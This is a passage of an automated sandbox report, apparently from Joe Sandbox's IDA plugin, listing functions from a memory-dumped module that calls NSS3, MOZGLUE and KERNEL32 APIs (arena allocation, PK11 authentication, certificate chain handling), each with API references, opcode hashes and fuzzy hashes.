Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5ABDDB

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5ABDEC

Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C5ABE03

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5ABE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5ABE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5ABE3B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 3c8a238479692aa1f90db47d941e4b9fc40545223719b91055fece700bcda0af
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: CE01DB75B4121576FA1036A77C01F6F76884F9228DF144130FF05AAB82FB51D51A82FE

Function 6C600FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B
TlsGetValue.KERNEL32(00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601044
free.MOZGLUE(00000000,?,00000800,6C59EF74,00000000), ref: 6C601064

Strings

security, xrefs: 6C601025

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 7edff069eb8fcdcaa8a28aadfde66f4744cb6e066ec7f07e8a262b78ea5ba639
Instruction ID: 1132bd20f12531d57b57eafa42acd51b995e7335b269c3509d7417549e1fbef8
Opcode Fuzzy Hash: 7edff069eb8fcdcaa8a28aadfde66f4744cb6e066ec7f07e8a262b78ea5ba639
Instruction Fuzzy Hash: 9E01AB70B0029097E7242F3D9D04B863668BF4374CF00052AE88AA7E51EF70C154CBDE

Function 6C631C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C631C74

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C631C92
free.MOZGLUE(?), ref: 6C631C99
DeleteCriticalSection.KERNEL32(?), ref: 6C631CCB
free.MOZGLUE(?), ref: 6C631CD2

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 26db20fdbf0945b6d9cece12ea6b7f9fb4d4a7f4b5983154c4fa51b7fd2c4f1b
Instruction ID: 1987e39a7b57e946276fbd5176842361b0e21a836e62cc6442e4ff36abce3f91
Opcode Fuzzy Hash: 26db20fdbf0945b6d9cece12ea6b7f9fb4d4a7f4b5983154c4fa51b7fd2c4f1b
Instruction Fuzzy Hash: A00192F2F052216FDF20AFA49C0DB8A37B8A747359F101139E90EA2B40DF65E119879D

Function 6C642E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C643046

Part of subcall function 6C62EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C617FFB), ref: 6C64312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C643154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C642E8B

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

Part of subcall function 6C62F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C619BFF,?,00000000,00000000), ref: 6C62F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C617FFA), ref: 6C642EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64317B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 6d6fe4c79933c29fb2208fe4aba7f136c613389222d8d5d280f975b21450667c
Instruction ID: c040a5174ddae18b069ae6dcc13d4897c21216b7038fdb32e0ee04e384cd90d8
Opcode Fuzzy Hash: 6d6fe4c79933c29fb2208fe4aba7f136c613389222d8d5d280f975b21450667c
Instruction Fuzzy Hash: C0A1AC71A002189FDB24CF54CC80BEAB7B5EF4A308F1481A9E949A7741E771AD85CFA5

Function 6C60ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C60ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C60EDCE

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

free.MOZGLUE(00000000,?,?,?,?,6C60B04F), ref: 6C60EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C60EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C60EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C60EEFB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: e3f2993f40b0c781bdfef1bc12b6feff53ac7fc8f1584209342989ad4642bf64
Instruction ID: 06f67fd065ede9c8d51770c61b067f9a5c55f1350bad4ba9b043e94a414e01d6
Opcode Fuzzy Hash: e3f2993f40b0c781bdfef1bc12b6feff53ac7fc8f1584209342989ad4642bf64
Instruction Fuzzy Hash: 43818EB1B002099FEB18CF55DA84BAB77F5FF89308F144428E855A7751DB30E815CBA9

Function 6C60CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C60DAE2,?), ref: 6C60C6C2

PR_Now.NSS3 ref: 6C60CD35

Part of subcall function 6C669DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DC6
Part of subcall function 6C669DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DD1
Part of subcall function 6C669DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C669DED

Part of subcall function 6C5F6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5A1C6F,00000000,00000004,?,?), ref: 6C5F6C3F

PR_GetCurrentThread.NSS3 ref: 6C60CD54

Part of subcall function 6C669BF0: TlsGetValue.KERNEL32(?,?,?,6C6B0A75), ref: 6C669C07

Part of subcall function 6C5F7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5A1CCC,00000000,00000000,?,?), ref: 6C5F729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C60CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C60CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C60CE2C

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C60CE40

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

Part of subcall function 6C60CEE0: PORT_ArenaMark_Util.NSS3(?,6C60CD93,?), ref: 6C60CEEE
Part of subcall function 6C60CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C60CD93,?), ref: 6C60CEFC
Part of subcall function 6C60CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C60CD93,?), ref: 6C60CF0B
Part of subcall function 6C60CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C60CD93,?), ref: 6C60CF1D

Part of subcall function 6C60CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C60CD93,?), ref: 6C60CF47
Part of subcall function 6C60CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C60CD93,?), ref: 6C60CF67
Part of subcall function 6C60CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C60CD93,?,?,?,?,?,?,?,?,?,?,?,6C60CD93,?), ref: 6C60CF78

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 530285ecdd5e3cf6c7ef38d07ffd18d173d52b8b95999fa4c8bb4c455bf0611c
Instruction ID: b4d6bd8282a73ad898f0c85a1ccb9c750883d562bd36f0efa8f6a6661f23360a
Opcode Fuzzy Hash: 530285ecdd5e3cf6c7ef38d07ffd18d173d52b8b95999fa4c8bb4c455bf0611c
Instruction Fuzzy Hash: 8551B576B00100ABE714DF69DD40B9A77F4EF48348F250524D956B7B50EB31ED06CBAA

Function 6C61FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C61FFE5

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_EnterMonitor.NSS3(?), ref: 6C620004
PR_EnterMonitor.NSS3(?), ref: 6C62001B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 745f65faddce23283f2925797e37d35c2c1454f6149af7bb5ff4b8577be57c11
Instruction ID: 1de727de9668dedbe8a7bf57f7e6d1fc3feb30d95119d50bb7d1dc8f6c54c04f
Opcode Fuzzy Hash: 745f65faddce23283f2925797e37d35c2c1454f6149af7bb5ff4b8577be57c11
Instruction Fuzzy Hash: 464147752486808BE7204A69DCB97EB72A1DB4130DF10053DE45BCAEA0E7BDA549CF4E

Function 6C5DEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C5DEF38

Part of subcall function 6C5C9520: PK11_IsLoggedIn.NSS3(00000000,?,6C5F379E,?,00000001,?), ref: 6C5C9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C5DEF53

Part of subcall function 6C5E4C20: TlsGetValue.KERNEL32 ref: 6C5E4C4C
Part of subcall function 6C5E4C20: EnterCriticalSection.KERNEL32(?), ref: 6C5E4C60
Part of subcall function 6C5E4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4CA1
Part of subcall function 6C5E4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C5E4CBE
Part of subcall function 6C5E4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4CD2
Part of subcall function 6C5E4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4D3A

PR_GetCurrentThread.NSS3 ref: 6C5DEF9E

Part of subcall function 6C669BF0: TlsGetValue.KERNEL32(?,?,?,6C6B0A75), ref: 6C669C07

free.MOZGLUE(00000000), ref: 6C5DEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5DF016
free.MOZGLUE(00000000), ref: 6C5DF022

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 96e99602cf0b33bb3cb0d64f869e5be2ecef360221664e58b336f89d5be15639
Instruction ID: 0cb3f2e0160e4a7ac191ab61283b633d12068b965d09c49cef207b2d2a25ef0c
Opcode Fuzzy Hash: 96e99602cf0b33bb3cb0d64f869e5be2ecef360221664e58b336f89d5be15639
Instruction Fuzzy Hash: EA41B371E0020AABDF018FA9DC85BEE7BB9AF48348F054025F915A7350E772D9158BA5

Function 6C5CCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C5CCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C5CD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C5CD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CD025
PR_NewLock.NSS3 ref: 6C5CD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5CD074

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 5384328983dbd372d2e7bc177d4029337e81ae8ee7a9bf7b7e2dac66c09b8a63
Instruction ID: cdfbf399fe15dd82b572379c567bd655001cb4c1aaf71a70ade481559cbe65ff
Opcode Fuzzy Hash: 5384328983dbd372d2e7bc177d4029337e81ae8ee7a9bf7b7e2dac66c09b8a63
Instruction Fuzzy Hash: 0041B1B0B412018FDB50DFA9CC8479A7BE4AF48318F11416EDC19DBB46E774D885CB96

Function 6C613FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C613FF2

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C614001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C61400F

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C614054

Part of subcall function 6C5ABB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C5ABC24
Part of subcall function 6C5ABB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5ABC39
Part of subcall function 6C5ABB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C5ABC58
Part of subcall function 6C5ABB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C5ABCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C614070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6140CD

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 0b4d19bd88e8dcae8593dcaf0a842cddf2e68408bb5c27bc666ef3183d602af7
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 10312B71E043459BEB008F699D81BBB3364AF9170DF144224FD09ABB42F772E9988299

Function 6C5B2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C5A2D1A), ref: 6C5B2E7E

Part of subcall function 6C6007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5A8298,?,?,?,6C59FCE5,?), ref: 6C6007BF
Part of subcall function 6C6007B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6007E6
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C60081B
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C600825

PR_Now.NSS3 ref: 6C5B2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C5B2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C5A2D1A), ref: 6C5B2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C5A2D1A), ref: 6C5B2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C5B2F81

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: a863f1c7af0060fabae269d793bbd443a84b90464c0a487bada85af33cefef4e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 9031287150110087F714C656CCAABBF76A5EF81318F644A79D42DB7ED0EB319846CA31

